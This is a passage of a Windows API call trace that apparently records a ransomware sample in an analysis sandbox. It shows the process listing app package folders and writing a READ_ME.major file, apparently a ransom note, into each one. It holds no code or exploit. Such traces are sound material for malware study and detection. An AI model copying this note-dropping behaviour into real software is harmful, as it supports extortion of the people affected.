() returned 0x0 [0181.501] SetLastError (dwErrCode=0x0) [0181.501] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b17d8 | out: hHeap=0x570000) returned 1 [0181.502] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.503] CloseHandle (hObject=0x844) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657b28 | out: hHeap=0x570000) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1c88 | out: hHeap=0x570000) returned 1 [0181.503] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6580a0 | out: hHeap=0x570000) returned 1 [0181.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.504] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.504] GetLastError () returned 0x0 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] GetLastError () returned 0x0 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] GetLastError () returned 0x0 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0181.504] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] GetLastError () returned 0x0 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] GetLastError () returned 0x0 [0181.504] SetLastError (dwErrCode=0x0) [0181.504] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.505] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.506] CloseHandle (hObject=0x844) returned 1 [0181.506] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.506] SetLastError (dwErrCode=0x0) [0181.506] GetLastError () returned 0x0 [0181.506] SetLastError (dwErrCode=0x0) [0181.506] GetLastError () returned 0x0 [0181.506] SetLastError (dwErrCode=0x0) [0181.506] SetLastError (dwErrCode=0x0) [0181.506] GetLastError () returned 0x0 [0181.506] SetLastError (dwErrCode=0x0) [0181.506] SetLastError (dwErrCode=0x0) [0181.506] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.507] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.508] CloseHandle (hObject=0x844) returned 1 [0181.511] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.511] SetLastError (dwErrCode=0x0) [0181.511] GetLastError () returned 0x0 [0181.511] SetLastError (dwErrCode=0x0) [0181.511] GetLastError () returned 0x0 [0181.511] SetLastError (dwErrCode=0x0) [0181.511] SetLastError (dwErrCode=0x0) [0181.511] GetLastError () returned 0x0 [0181.512] SetLastError (dwErrCode=0x0) [0181.512] GetLastError () returned 0x0 [0181.512] SetLastError (dwErrCode=0x0) [0181.512] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.512] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.513] CloseHandle (hObject=0x844) returned 1 [0181.513] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.513] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21d927de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e3f8 [0181.513] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21d927de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] GetLastError () returned 0x12 [0181.514] SetLastError (dwErrCode=0x12) [0181.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.518] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.519] CloseHandle (hObject=0x848) returned 1 [0181.519] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0181.519] SetLastError (dwErrCode=0x0) [0181.519] GetLastError () returned 0x0 [0181.519] SetLastError (dwErrCode=0x0) [0181.519] GetLastError () returned 0x0 [0181.519] SetLastError (dwErrCode=0x0) [0181.520] SetLastError (dwErrCode=0x0) [0181.520] GetLastError () returned 0x0 [0181.520] SetLastError (dwErrCode=0x0) [0181.520] GetLastError () returned 0x0 [0181.520] SetLastError (dwErrCode=0x0) [0181.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.521] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.522] CloseHandle (hObject=0x848) returned 1 [0181.522] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0181.522] SetLastError (dwErrCode=0x0) [0181.522] GetLastError () returned 0x0 [0181.522] SetLastError (dwErrCode=0x0) [0181.522] GetLastError () returned 0x0 [0181.522] SetLastError (dwErrCode=0x0) [0181.522] SetLastError (dwErrCode=0x0) [0181.522] GetLastError () returned 0x0 [0181.522] SetLastError (dwErrCode=0x0) [0181.522] GetLastError () returned 0x0 [0181.522] SetLastError (dwErrCode=0x0) [0181.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.523] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.524] CloseHandle (hObject=0x848) returned 1 [0181.524] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.524] SetLastError (dwErrCode=0x0) [0181.524] GetLastError () returned 0x0 [0181.524] SetLastError (dwErrCode=0x0) [0181.524] GetLastError () returned 0x0 [0181.524] SetLastError (dwErrCode=0x0) [0181.524] SetLastError (dwErrCode=0x0) [0181.524] GetLastError () returned 0x0 [0181.524] SetLastError (dwErrCode=0x0) [0181.524] GetLastError () returned 0x0 [0181.524] SetLastError (dwErrCode=0x0) [0181.524] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.525] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.526] CloseHandle (hObject=0x848) returned 1 [0181.526] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21d927de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21d927de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21d927de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.526] SetLastError (dwErrCode=0x0) [0181.526] GetLastError () returned 0x0 [0181.526] SetLastError (dwErrCode=0x0) [0181.526] GetLastError () returned 0x0 [0181.526] SetLastError (dwErrCode=0x0) [0181.526] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0181.526] SetLastError (dwErrCode=0x0) [0181.526] GetLastError () returned 0x0 [0181.526] SetLastError (dwErrCode=0x0) [0181.526] GetLastError () returned 0x0 [0181.526] SetLastError (dwErrCode=0x0) [0181.527] SetLastError (dwErrCode=0x0) [0181.527] GetLastError () returned 0x0 [0181.527] SetLastError (dwErrCode=0x0) [0181.527] GetLastError () returned 0x0 [0181.527] SetLastError (dwErrCode=0x0) [0181.527] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.662] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.663] CloseHandle (hObject=0x848) returned 1 [0181.663] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0181.663] SetLastError (dwErrCode=0x0) [0181.663] GetLastError () returned 0x0 [0181.663] SetLastError (dwErrCode=0x0) [0181.664] GetLastError () returned 0x0 [0181.664] SetLastError (dwErrCode=0x0) [0181.664] SetLastError (dwErrCode=0x0) [0181.664] GetLastError () returned 0x0 [0181.664] SetLastError (dwErrCode=0x0) [0181.664] GetLastError () returned 0x0 [0181.664] SetLastError (dwErrCode=0x0) [0181.664] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.664] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.665] CloseHandle (hObject=0x848) returned 1 [0181.665] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.666] SetLastError (dwErrCode=0x0) [0181.666] GetLastError () returned 0x0 [0181.666] SetLastError (dwErrCode=0x0) [0181.666] GetLastError () returned 0x0 [0181.666] SetLastError (dwErrCode=0x0) [0181.666] SetLastError (dwErrCode=0x0) [0181.666] GetLastError () returned 0x0 [0181.666] SetLastError (dwErrCode=0x0) [0181.666] GetLastError () returned 0x0 [0181.666] SetLastError (dwErrCode=0x0) [0181.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.666] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.667] CloseHandle (hObject=0x848) returned 1 [0181.668] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.668] SetLastError (dwErrCode=0x0) [0181.668] GetLastError () returned 0x0 [0181.668] SetLastError (dwErrCode=0x0) [0181.668] GetLastError () returned 0x0 [0181.668] SetLastError (dwErrCode=0x0) [0181.668] SetLastError (dwErrCode=0x0) [0181.668] GetLastError () returned 0x0 [0181.668] SetLastError (dwErrCode=0x0) [0181.668] GetLastError () returned 0x0 [0181.668] SetLastError (dwErrCode=0x0) [0181.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0181.668] WriteFile (in: hFile=0x848, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.669] CloseHandle (hObject=0x848) returned 1 [0181.669] FindNextFileW (in: hFindFile=0x58e3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.670] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21e04e7a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e438 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] GetLastError () returned 0x12 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] GetLastError () returned 0x12 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21e04e7a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] GetLastError () returned 0x12 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] SetLastError (dwErrCode=0x12) [0181.670] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] GetLastError () returned 0x12 [0181.670] SetLastError (dwErrCode=0x12) [0181.670] SetLastError (dwErrCode=0x12) [0181.670] SetLastError (dwErrCode=0x12) [0181.670] GetLastError () returned 0x12 [0181.670] SetLastError (dwErrCode=0x12) [0181.671] GetLastError () returned 0x12 [0181.671] SetLastError (dwErrCode=0x12) [0181.671] CreateFileW 